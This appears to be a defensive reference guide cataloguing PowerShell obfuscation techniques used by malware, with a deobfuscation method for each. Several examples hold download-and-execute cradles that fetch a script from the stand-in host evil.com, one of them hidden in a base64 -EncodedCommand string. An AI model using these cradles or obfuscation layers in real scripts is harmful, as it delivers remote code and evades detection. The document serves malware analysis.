# PowerShell Obfuscation Techniques Catalog of PowerShell obfuscation techniques used by malware authors, with corresponding deobfuscation approaches for each type. ## Overview PowerShell is a primary vector for fileless malware due to its deep system integration, .NET access, and powerful scripting capabilities. Attackers use multiple layers of obfuscation to evade static detection, AMSI scanning, and analyst review. ## String Concatenation ### Technique Split recognizable strings into concatenated fragments. ```powershell # Original Invoke-Expression # Obfuscated 'Inv' + 'oke' + '-Ex' + 'pres' + 'sion' "In" + "voke" + "-" + "Exp" + "ression" ``` ### Deobfuscation Resolve concatenation by joining adjacent string literals. Regex pattern: ``` ['"]([^'"]*?)[']\s*\+\s*['"]([^'"]*?)['"] ``` Apply iteratively until no more concatenation operators between strings. ## Character Code Conversion ### Technique Replace characters with their numeric codes using `[char]` casting. ```powershell # "IEX" via char codes [char]73 + [char]69 + [char]88 # Hex variant [char]0x49 + [char]0x45 + [char]0x58 # Array join -join ([char[]](73,69,88)) # ForEach conversion (73,69,88) | ForEach-Object { [char]$_ } ``` ### Deobfuscation Parse `[char]N` patterns and convert to the corresponding character. Handle both decimal and hexadecimal (0x) formats. For array patterns, extract all integers and join the resulting characters. ## Base64 Encoding ### Technique Encode strings or entire scripts in base64. ```powershell # -EncodedCommand (UTF-16LE) powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAuAGMAbwBtAC8AcAAuAHAAcwAxACcAKQA= # Inline base64 decode [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('cGF5bG9hZA==')) # Double base64 [Convert]::FromBase64String([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('Y0dGNWJHOWhaQT09'))) ``` ### Deobfuscation 1. For `-enc` / `-EncodedCommand`: Base64 decode, then decode as UTF-16LE 2. For `[Convert]::FromBase64String()`: Base64 decode, decode as UTF-8 3. Apply recursively for multi-layer encoding ## Invoke-Expression Wrapping ### Technique Wrap code in `IEX` or equivalent to execute generated strings. ```powershell # Standard IEX (New-Object Net.WebClient).DownloadString('...') Invoke-Expression $decodedScript # Alias/alternative invocations & ('IEX') $payload . ('IEX') $payload & (Get-Alias -Name iex) $payload $ExecutionContext.InvokeCommand.ExpandString($payload) ``` ### Deobfuscation Remove the IEX wrapper to reveal the inner expression. The content passed to IEX is the actual payload. Strip `IEX(...)`, `& ('IEX') (...)`, `. ('IEX') (...)` and similar patterns. ## Variable Substitution ### Technique Assign obfuscated values to variables and use them later. ```powershell $a = 'IEX' $b = "(New-Object Net.WebClient).DownloadString('http://evil.com/p.ps1')" & $a $b # Environment variable abuse $env:ComSpec # resolves to cmd.exe ${env:TEMP} # resolves to temp directory ``` ### Deobfuscation Track variable assignments and substitute values at usage points. This requires building a simple variable scope tracker. For environment variables, substitute known default values. ## Backtick Insertion ### Technique Insert PowerShell escape backticks within keywords to break string matching. ```powershell # All equivalent to Invoke-Expression I`nv`oke-`Exp`ression In`vok`e-E`xpre`ssion `I`E`X ``` The backtick before a non-special character is simply ignored by PowerShell. ### Deobfuscation Remove backticks that precede non-escape characters. Valid escape sequences to preserve: `` `n `r `t `0 `a `b `f `v `' `" `` `` ## Format String Abuse ### Technique Use the `-f` format operator to construct strings from fragments. ```powershell # "Invoke-Expression" '{0}{1}{2}' -f 'Invoke','-Exp','ression' # With reordering '{2}{0}{1}' -f '-Exp','ression','Invoke' # Nested "{0}{1}" -f $("{0}{1}" -f 'Inv','oke'), $("{0}{1}" -f '-Exp','ression') ``` ### Deobfuscation Parse the format string and argument list. Replace `{N}` placeholders with the corresponding argument. Handle nested format operations by resolving inner expressions first. ## String Replace Operations ### Technique Use `.Replace()` or `-replace` to transform strings. ```powershell # Simple replacement 'Invoke-XExpression'.Replace('X','') # Chain replacements 'InAAAAvoke-ExprBBBBession'.Replace('AAAA','').Replace('BBBB','') # Regex replace 'QnvokeRExpression' -replace '[QR]','' # Using variables as markers $x = 'Invoke-Expression'.Replace('Expression','Expression') ``` ### Deobfuscation Apply `.Replace()` operations sequentially. For `-replace`, handle regex patterns. Process chains of replacements in order. ## String Reversal ### Technique Reverse strings to avoid signature matching. ```powershell # Reversed string $r = 'noisserp' + 'xE-ekovnI' $payload = -join ($r[-1..-($r.Length)]) # Array reverse $a = 'noisserpxE-ekovnI'.ToCharArray() [Array]::Reverse($a) -join $a ``` ### Deobfuscation Detect reversal patterns and reverse the string back. Look for `[-1..-N]` indexing, `[Array]::Reverse()`, and `.ToCharArray()` followed by reverse join. ## Compressed Streams ### Technique Compress payloads with DeflateStream or GZipStream. ```powershell # Compressed + base64 payload $data = [Convert]::FromBase64String('H4sIAAAAAAAA...') $ms = New-Object IO.MemoryStream(,$data) $cs = New-Object IO.Compression.GZipStream($ms, [IO.Compression.CompressionMode]::Decompress) $sr = New-Object IO.StreamReader($cs) IEX $sr.ReadToEnd() ``` ### Deobfuscation 1. Extract the base64 data 2. Decode from base64 3. Decompress using the appropriate algorithm (GZip or Deflate) 4. The result is the next layer of script **Python decompression:** ```python import base64, gzip, zlib data = base64.b64decode(encoded_data) # For GZip: decompressed = gzip.decompress(data) # For Deflate: decompressed = zlib.decompress(data, -15) ``` ## XOR Encoding ### Technique XOR each byte with a key to obscure the payload. ```powershell # XOR with single-byte key [byte[]]$bytes = 0x3A, 0x2E, 0x39, ... $key = 0x55 $decoded = $bytes | ForEach-Object { [char]($_ -bxor $key) } $payload = -join $decoded ``` ### Deobfuscation Extract the byte array and XOR key, then XOR each byte to recover the plaintext. For multi-byte keys, cycle through the key bytes. ## SecureString Abuse ### Technique Use SecureString conversion to obfuscate strings. ```powershell $ss = ConvertTo-SecureString 'encrypted_data' -Key (1..16) $BSTR = [Runtime.InteropServices.Marshal]::SecureStringToBSTR($ss) $plaintext = [Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR) ``` ### Deobfuscation If the key is available in the script, decrypt the SecureString using the same key. This requires .NET interop or PowerShell execution. ## Type Accelerator Abuse ### Technique Use type accelerators and reflection to hide API calls. ```powershell # Instead of [System.Net.WebClient] $t = [type]('System.Ne' + 't.WebCli' + 'ent') $wc = $t::new() # Reflection-based method invocation $m = [Net.WebClient].GetMethod('DownloadString') $m.Invoke($wc, @('http://evil.com/p.ps1')) ``` ### Deobfuscation Resolve type names from concatenated strings, then map method invocations back to their standard form. ## Multi-Layer Obfuscation Real-world malware typically combines multiple techniques in layers: ``` Layer 1: Base64-encoded -EncodedCommand Layer 2: Backtick insertion + string concatenation Layer 3: Format string construction + variable substitution Layer 4: Compressed stream wrapping Layer 5: Actual payload (download cradle, shellcode loader, etc.) ``` ### Deobfuscation Strategy 1. Apply all deobfuscation techniques in each pass 2. Repeat until the output stabilizes (no more changes) 3. Set a maximum iteration depth to prevent infinite loops 4. Log each transformation for the analysis report ## Tools for PowerShell Deobfuscation | Tool | Description | |---|---| | `powershell_deobfuscator.py` | This skill's script - multi-layer automated deobfuscation | | PSDecode | PowerShell module for dynamic deobfuscation | | Invoke-Obfuscation | PowerShell obfuscation framework (useful for understanding techniques) | | de4dot | .NET deobfuscator (for .NET payloads loaded by PS) | | CyberChef | Manual decode/decompress operations | | Revoke-Obfuscation | PowerShell script to detect and measure obfuscation | ## References - Invoke-Obfuscation: https://github.com/danielbohannon/Invoke-Obfuscation - Revoke-Obfuscation: https://github.com/danielbohannon/Revoke-Obfuscation - MITRE ATT&CK T1059.001 - PowerShell: https://attack.mitre.org/techniques/T1059/001/ - MITRE ATT&CK T1027 - Obfuscated Files or Information: https://attack.mitre.org/techniques/T1027/